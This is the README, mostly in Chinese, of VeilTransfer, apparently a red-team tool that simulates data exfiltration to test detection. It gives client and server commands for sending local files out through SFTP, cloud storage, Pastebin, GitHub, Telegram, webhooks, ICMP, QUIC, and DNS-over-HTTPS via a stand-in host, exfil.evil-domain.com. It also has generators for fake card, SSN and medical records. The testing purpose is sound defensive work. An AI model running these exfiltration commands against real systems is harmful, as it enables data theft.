
VeilTransfer is a data exfiltration utility designed to test and enhance the detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture.
VeilTransfer 是一款数据外传工具,旨在测试和增强检测能力。该工具模拟高级威胁行为者使用的真实数据外传技术,使组织能够评估并改进其安全态势。通过利用 MEGA、GitHub、SFTP、WebDAV 等多种外传方法,VeilTransfer 可帮助识别防御中的缺口,并确保您的安全解决方案已准备好应对现代数据泄露。
| ID | 技术名称 |
|---|---|
| T1029 | Scheduled Transfer |
| T1020 | Automated Exfiltration |
| T1132.001 | Data Encoding: Standard Encoding |
| T1560.002 | Archive Collected Data: Archive via Library |
| T1567.001 | Exfiltration Over Web Service: Exfiltration to Code Repository |
| T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage |
| T1567.003 | Exfiltration Over Web Service: Exfiltration to Text Storage |
| T1567.004 | Exfiltration Over Web Service: Exfiltration Over Webhook |
| T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |
| T1048.002 | Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol |
VeilTransfer 还支持生成假数据,包括:
轻松创建 zip 文件用于打包和压缩数据,随后可用于外传或测试不同场景。支持根据大小选择性地拆分为多个文件。
此示例演示如何通过 SFTP 协议将文件安全传输到远程服务器。文件位于本地机器上,使用 SSH 身份验证传输到指定的远程目录。
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass
在此示例中,本地目录中的文件会上传到 WebDAV 服务器。服务器需要使用用户名和密码进行身份验证。服务器参数包含 URI 方案(https:// 或 http://)。
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass
此示例演示如何将文件传输到 Mega 云存储。文件从指定的本地目录上传,并使用用户的 Mega 云凭据进行身份验证。
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username [email protected] -password megasecretpassword
在此示例中,文件上传到 FTP 服务器。文件传输到远程服务器上的特定目录。服务器需要使用用户名和密码进行身份验证。
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword
此示例演示如何将文件内容上传到 Pastebin。内容使用用户提供的 API 密钥发布到 Pastebin。
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key
此示例演示如何将文件从本地机器推送到特定的 GitHub 仓库。使用用户的 GitHub API 令牌进行身份验证,将文件添加到仓库中。
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token
此示例演示如何将文件发送到特定的 Telegram 频道。文件使用 Telegram 机器人 API 令牌发送,消息将传送到指定的频道 ID。
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789
在此示例中,文件内容将发送到指定的 Webhook URL。
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url
要建立利用基于 HTTPS 的 DNS(DoH)的安全数据外传机制,必须配置以下 DNS 记录:
A 记录:将 test 指向 IP 地址 <VeilTransfer_IP_Address>。
test -> <VeilTransfer_IP_Address>
NS 记录:定义一个由 evil-domain.com 管理的子域(exfil)。
exfil -> test.evil-domain.com
域 exfil.evil-domain.com 将作为 DNS 外传域。
然后,使用以下命令以 DoH 模式启动 VeilTransfer 服务器:
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil
注意:加密密钥(-key)长度必须为 16 或 32 个字符。
要通过 DoH 上传文件,请确保 VeilTransfer 服务器已以 DoH 模式正常运行并持有有效的加密密钥。然后,使用客户端命令发起传输:
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com
要以 QUIC 模式启动 VeilTransfer 服务器,请使用以下命令:
veiltransfer_server quic -cert /path/server.crt -key /path/server.key
服务器运行后,您可以使用以下命令上传文件或目录:
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443
要通过 ICMP 协议实现文件传输,请执行以下命令以 ICMP 模式启动 VeilTransfer 服务器:
veiltransfer_server_linux icmp -folder /path/folder
服务器启动后,执行以下命令即可通过 ICMP 传输文件或目录:
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>
从指定目录创建 zip 归档。
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip
根据指定大小创建拆分为多个部分的 zip 归档。
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000
此示例演示如何生成 100 条假信用卡数据。生成的数据将包含信用卡号、有效期及相关详细信息。
veiltransfer_client generate-fake -ccn -count 100
此示例演示如何生成 50 条假 KTP 数据(印度尼西亚身份证)。数据包含姓名、地址和 KTP 号码等个人信息。
veiltransfer_client generate-fake -ktp -count 50
生成的数据包含符合美国标准的格式化社会安全号码。
veiltransfer_client generate-fake -ssn -count 200
此示例演示如何生成 300 条英文假医疗记录。
veiltransfer_client generate-fake -medical-record -count 300 -language en
欢迎为 VeilTransfer 做出贡献!如果您有新功能、外传方法或改进的想法,请在 GitHub 上提交拉取请求或开启 Issue。